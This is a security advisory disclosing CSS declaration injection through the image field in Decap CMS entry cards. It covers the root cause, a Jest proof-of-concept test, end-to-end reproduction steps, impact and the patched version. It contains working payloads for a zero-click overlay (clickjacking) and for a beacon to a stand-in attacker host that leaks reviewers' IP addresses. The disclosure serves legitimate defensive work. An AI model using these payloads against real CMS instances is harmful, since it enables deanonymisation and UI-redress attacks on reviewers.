CSS declaration injection through the image field on collection entry cards
Description
The collection grid renders each entry's image-field value into an emotion background-image: url(...) rule in the main authenticated app origin, sanitized only with encodeURI. encodeURI is URL-encoding, not CSS-escaping, so a lower-privileged collaborator who sets an entry's image field can close the url() and inject additional declarations into the same CSS rule. A reviewer or admin who merely views the collection (no click) then triggers a forced external resource fetch (beacon/deanonymization) and can be shown a full-viewport fixed overlay for UI redress / clickjacking. Not XSS: the characters needed to open a new selector or rule ({ } [ ]) are encoded, so impact is capped at same-rule declaration injection.
Details
Affected packages (lerna monorepo, independent versioning, all at commit 61ceb6e0):
- Root cause lives in decap-cms-core 3.20.2 (the file packages/decap-cms-core/src/components/Collection/ Entries/EntryCard.js).
- It ships to users via the decap-cms 3.17.3 bundle and decap-cms-app, which re-export core.
- Tested on decap-cms 3.17.3 (which includes decap-cms-core 3.20.2).
Root cause: the image-field value reaches an emotion CSS url() with only encodeURI applied.
packages/decap-cms-core/src/components/Collection/Entries/EntryCard.js :217-219 mapStateToProps: let image = entryData.get(inferredFields.imageField); if (image) { image = encodeURI(image); } // ONLY sanitization :134-142 CardImage: src = getAsset(value, field).toString() // absolute value => returned verbatim :89-95 StyledImage: const StyledImage = styled.div background-image: url(${props => props.src}); ... height: 150px; :205 grid view: {image ? <CardImage getAsset={getAsset} value={image} field={imageField} /> : null}
encodeURI leaves ( ) ; : ' # , * / @ intact, which is enough to close url() and append declarations in the same rule. It DOES encode { } [ ] < > " and space, so opening a new selector/rule, attribute-selector exfiltration, a working @import, and markup injection are all blocked.
emotion/stylis does NOT CSS-escape interpolated values. Rendering the real StyledImage with the real @emotion/styled, the browser CSSOM parses the injected tokens as live declarations (confirmed, see PoC).
Provenance: the value is the entry's image field, stored in the content file (YAML/TOML/JSON front matter) in the git repo and parsed verbatim. Any contributor who can land content (editorial-workflow draft or an accepted pull request) controls it. The sink is in the MAIN authenticated app origin, not the sandboxed preview iframe.
Affected field detection: the collection has an inferable image field (an image widget, or a field whose name infers as the image field).
Suggested fix: CSS-escape the value or validate it is an http(s)/relative URL before interpolating into url() (reject values containing ) or ; or run through a CSS.escape-equivalent). Binding the image via a React inline style object instead of an emotion template would also neutralize it, since inline styles cannot break out of a declaration.
Proof of concept
This is ONE self-contained test file. It reproduces the exact production sink without needing a running server: it copies the real StyledImage definition (EntryCard.js:89-95) and the real encodeURI step (EntryCard.js:219) verbatim, renders it with this repo's real @emotion/styled, and then reads the CSS that emotion actually generated from the browser's own CSSOM. The point it proves is the one that matters: emotion does not CSS-escape the interpolated value, so the attacker's characters become live CSS declarations.
STEP 1 - Save this single file as: packages/decap-cms-core/src/components/Collection/Entries/__tests__/EntryCard.cssinjection.poc.spec.js
import styled from '@emotion/styled'; import { render } from '@testing-library/react';
// --- exact copy of the production sink, EntryCard.js:89-95 --- const StyledImage = styled.div background-image: url(${props => props.src}); background-position: center center; background-size: cover; background-repeat: no-repeat; height: 150px; ;
// --- exact copy of the only sanitization, EntryCard.js:219 --- const sanitize = imageFieldValue => encodeURI(imageFieldValue);
// Render the sink with an attacker-controlled image value, then return the CSS // emotion actually emitted, as the browser's CSSOM parsed it. function emittedCss(imageFieldValue) { render(<StyledImage src={sanitize(imageFieldValue)} />); let css = ''; for (const sheet of Array.from(document.styleSheets)) { try { for (const rule of Array.from(sheet.cssRules || [])) css += rule.cssText + '\n'; } catch (e) { /* ignore */ } } return css.replace(/\s+/g, ''); // strip whitespace; CSSOM normalizes spacing }
test('A: a URL value triggers a zero-click external fetch', () => { const css = emittedCss('attacker.example/
test('B: a crafted value breaks out of url() into live declarations (overlay / clickjacking)', () => { // Note: min-height, not height - the template's own height:150px (later in the rule) would // override an injected height, but min-height has no conflict and still fills the viewport. const payload = '/x);position:fixed;top:0;left:0;width:100vw;min-height:100vh;z-index:99999;' + 'background:red;pointer-events:auto;content:url(/x'; const css = emittedCss(payload); expect(css).toContain('url(/x);position:fixed'); // url() closed early, new declaration begins expect(css).toContain('width:100vw'); expect(css).toContain('min-height:100vh'); expect(css).toContain('z-index:99999'); });
test('C: a new selector/rule is NOT possible (encodeURI encodes { } [ ])', () => { const payload = '/x);}input[value^=a]{background:url(attacker.example/
STEP 2 - Run it with this repo's own test runner: NODE_ENV=test npx jest EntryCard.cssinjection.poc
STEP 3 - Expected result: 3 passing tests. For payload B, the stylesheet emotion generated (read back from the CSSOM) is:
.css-<hash>-StyledImage { background-image: url(/x); position: fixed; top: 0; left: 0; width: 100vw; min-height: 100vh; z-index: 99999; background: red; pointer-events: auto; content: url(/x); background-position: center center; ... height: 150px; }
The value was supposed to be only the argument of background-image, but position: fixed, width: 100vw, z-index, background, and pointer-events are now live declarations on the card's own CSS rule. Test C shows that { } [ ] are percent-encoded, so no new selector or rule can be opened (hence this is CSS injection / UI-redress, not XSS).
OPTIONAL - end-to-end in a running instance (no code, for final confirmation):
- As a contributor, create/edit an entry in a collection that has an image field, and set that field to: /x);position:fixed;top:0;left:0;width:100vw;min-height:100vh;z-index:99999;background:red;pointer-events:auto;content:url(/x Commit it (editorial-workflow draft or a pull request).
- As a reviewer/admin, open that collection's grid view.
- A full-viewport red overlay covers the UI with no click; swapping the payload for a url() to an external host shows the browser fetching it on view.
Impact
Who is impacted: any reviewer or administrator who views a collection grid containing an attacker-authored entry, in the main authenticated Decap CMS origin.
What an attacker (a lower-privileged collaborator / open-authoring PR author) can do, zero-click:
- Forced external resource fetch: a beacon that confirms the reviewer viewed the entry and leaks their IP / User-Agent, and (CSP permitting) loads attacker-hosted resources.
- Same-rule declaration injection: render a full-viewport position:fixed overlay for UI redress / clickjacking (e.g. overlaying a deceptive prompt or hijacking clicks) while the reviewer merely browses the collection.
Not XSS: no script execution and no attribute-selector data exfiltration, because encodeURI encodes { } [ ], so no new selector/rule can be opened. Severity is capped accordingly.
Patches
Fixed in decap-cms-core 3.22.0, shipped in decap-cms and decap-cms-app 3.19.0. The entry card now sets the image as an inline style with a quoted, escaped url("…"), so the value can only be a background-image URL.